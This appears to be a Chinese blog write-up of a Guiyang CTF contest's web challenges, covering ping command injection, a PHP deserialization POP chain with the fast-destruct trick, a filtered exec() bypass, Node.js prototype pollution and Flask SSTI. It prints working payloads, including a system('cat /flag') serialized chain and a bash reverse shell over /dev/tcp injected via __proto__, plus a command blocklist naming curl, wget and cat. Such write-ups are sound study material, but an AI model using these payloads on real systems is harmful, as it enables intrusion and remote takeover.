Z1d10tのBlog

A note for myself,have fun!

  1. 1. 仔细ping
  2. 2. pop
  3. 3. 完美网站
  4. 4. notrce
  5. 5. JUST_PROTO
  6. 6. it’s time

贵阳大数据及网络安全精英对抗赛WEB部分WP

仔细ping

有点看不懂的一道题目,ip去ping,返回和我们本地ping网站差不多的回显,刚开始是以为用逻辑符|&&之类的题目来做,后来发现想复杂了,他题目意思好像只能用他指定的命令,除此之外其他字符一律屏蔽

比如 ?ip=ls就可以合法,但是如果?ip=l一个字符也会被屏蔽,蛮nt的说实话。

payload:?id=ls

发现本地有flag.php

直接 ?id=nl flag.php

pop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
highlight_file(__FILE__);
class TT{
public $key;
public $c;
public function __destruct(){
echo $this->key;
}

public function __toString(){
return "welcome";
}
}

class JJ{
public $obj;
public function __toString(){
($this -> obj)();
return "1";
}
public function evil($c){
eval($c);
}
public function __sleep(){
phpinfo();
}
}

class MM{
public $name;
public $c;
public function __invoke(){
($this->name)($this->c);
}
public function __toString(){
return "ok,but wrong";
}
public function __call($a, $b){
echo "Hacker!";
}
}
$a = unserialize($_GET['bbb']);
throw new Error("NoNoNo");

整个链子其实不难 当时做这道题目 本地pop链已经写出来了 但是发现没法触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class TT{
public $key;
public $c;
}


class JJ{
public $obj;
}
class MM{
public $name;
public $c;


}
$a = new TT();
$a->key = new JJ();
$a->key->obj=new MM();
$a->key->obj->name ='system';
$a->key->obj->c='cat /flag';
echo serialize($a);
?>
#O:2:"TT":2:{s:3:"key";O:2:"JJ":1:{s:3:"obj";O:2:"MM":2:{s:4:"name";s:6:"system";s:1:"c";s:9:"cat /flag";}}s:1:"c";N;}

然后就会发现throw new Error("NoNoNo");会挡在前面没法绕过,当时就寄了。

这里考到了fast destruct的知识点 出自:https://zhuanlan.zhihu.com/p/405838002

img

其实原理还是蛮容易理解的,当一个对象生命周期结束时,最后就会触发析构函数,但是如果我们提前破坏这个序列化后的结构,那么就会提前进入析构函数

这道题目就是因为throw new Error("NoNoNo");而进不去我们构造的链子 但是如果我们破坏我们payload链子结构 那么就会提前进入析构函数 从而触发链子

payload:?bbb=O:2:"TT":2:{s:3:"key";O:2:"JJ":1:{s:3:"obj";O:2:"MM":2:{s:4:"name";s:6:"system";s:1:"c";s:6:"whoami";}}s:1:"c";N;}

这样是完整链子没法触发的我们可以删除最后一个}破坏结构让他提前进入析构函数

1
?bbb=O:2:"TT":2:{s:3:"key";O:2:"JJ":1:{s:3:"obj";O:2:"MM":2:{s:4:"name";s:6:"system";s:1:"c";s:6:"whoami";}}s:1:"c";N;

成功

img

完美网站

一道很臭的题目,大概题目思路是他给了一个img参数是一个图片格式base64编码 然后还需要提交一个n参数 但是n是一个10-30的随机数字 并且每次都不一样 那么其实思路很简单直接爆破就行了

img

并且要同时提交img和n 但是这描述我也是无语

然后当时没发现flag文件名藏在他给的img末尾是ffffpq.php 所以一直在找flag

总之做的很恶心人 像吃了屎一样yue了

notrce

好像我没记错应该是这道题目

源码如下

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
error_reporting(0);
$c=$_POST['c'];
if(!preg_match("/vi|less|tail|head|od|sh|echo|touch|re|mv|rm|cat|ls|tac|more|cut|curl|wget|base|>|<|`|\*|\\$|\\\/i",$c)){
exec($c);
}else{
die("hacker");
}

蛮玄幻的一道题目 看了wp直接用将根目录flag复制到当前目录访问就行

呢如果flag文件目录不是常规命名 这不就寄了吗

之后了解到是非预期解 哦 那没事了:)

JUST_PROTO

一道我未触及的领域的题目 一道nodejs的原型链污染题目

这两天恶补了一下关于原型链污染的知识点,感受颇深

如果之前了解过这个 其实题目一眼丁真就能看出是原型链污染的题目 __proto__明显就提示了

给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
const express = require('express');
const { exec } = require("child_process");
const app = express();
app.get('/', (req, res) => res.send('嗨嗨嗨!!老八来了!!!'));

let ba = {
baba: (token)=>{ return !!token },
bababa: ()=>{ if (JSON.stringify(date).length > 10000) date = {} },
// set: `redis-cli -h ${ba.redis_host} set `
// get: `redis-cli -h ${ba.redis_host} get `
};

let date = {};

app.get('/set', (req, res) => {
ba.bababa();
const {token, key, val} = req.query;
if (!ba.baba(token) || !val) return res.send("wrong");
date[token][key] = val;
res.json({ is_succ: true })
});

app.get('/get', (req, res) => {
const {token, key} = req.query;
if (!ba.baba(token)) return res.send("wrong");
let result = date[token];
if (result) result = result[key];
res.json({ result: result === undefined ? "null" : result, is_succ: result !== undefined })
});


app.put('/bkup', (req, res) => {
let date_stream = Buffer.from(JSON.stringify(date));
const cmd = ba.redis_set + `date ${date_stream.toString('base64')}`;
exec(cmd, (err,_,__) => {
if (err) return res.json({ is_succ: false });
res.json({ is_succ: true });
});
});

app.listen(8080, () => console.log(`嗨嗨嗨!!老八来了!!!`));


//没敢吧所有变量名换成bababa 怕被打

先看/bkup路由

1
2
3
4
5
6
7
8
app.put('/bkup', (req, res) => {
let date_stream = Buffer.from(JSON.stringify(date));
const cmd = ba.redis_set + `date ${date_stream.toString('base64')}`;
exec(cmd, (err,_,__) => {
if (err) return res.json({ is_succ: false });
res.json({ is_succ: true });
});
});

发现了我们最喜欢的exec()函数

const cmd = ba.redis_set + date ${date_stream.toString('base64')};

然后这部分ba.redis_set如果我们可控则能达到rce

再来看/set路由

1
2
3
4
5
6
7
app.get('/set', (req, res) => {
ba.bababa();
const {token, key, val} = req.query;
if (!ba.baba(token) || !val) return res.send("wrong");
date[token][key] = val;
res.json({ is_succ: true })
});

通过get方式给token,key,var传参

date[token][key] = val;因为三个参数我们都可控,则可以进行原型链污染

这里解释一下为什么会是data[token][key]的形式,我们一般认为应该是data.token.key的形式

其实这两种形式是相等的都可以

比如ctfshow有题目的payload:

原本是:?eval=require('child_process').execSync('ls')

如果改为?eval=require('child_process')['execSync']('ls')那么都是可以的,两种都是等价的

回到原题,使得token=__proto__,key=redis_set,var=shell

则ba.redis_se被污染

1
payload:?token=__proto__&key=redis_set&var=bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'

解释一下为什么要用 bash -c 由于我们是在外部运行shell指令,所以他默认是不会识别我们的bash -i反弹shell的,bash -c保证了命令使用bash shell去执行

反弹shell部分用url编码一下

bash -c就是将后面字符串当作命令读入执行 然后输出

it’s time

经典flask的ssti

直接当个脚本小子,大脚本注入

或者去找ctfshow 题目的payload都可以

本文最后更新于 天前,文中所描述的信息可能已发生改变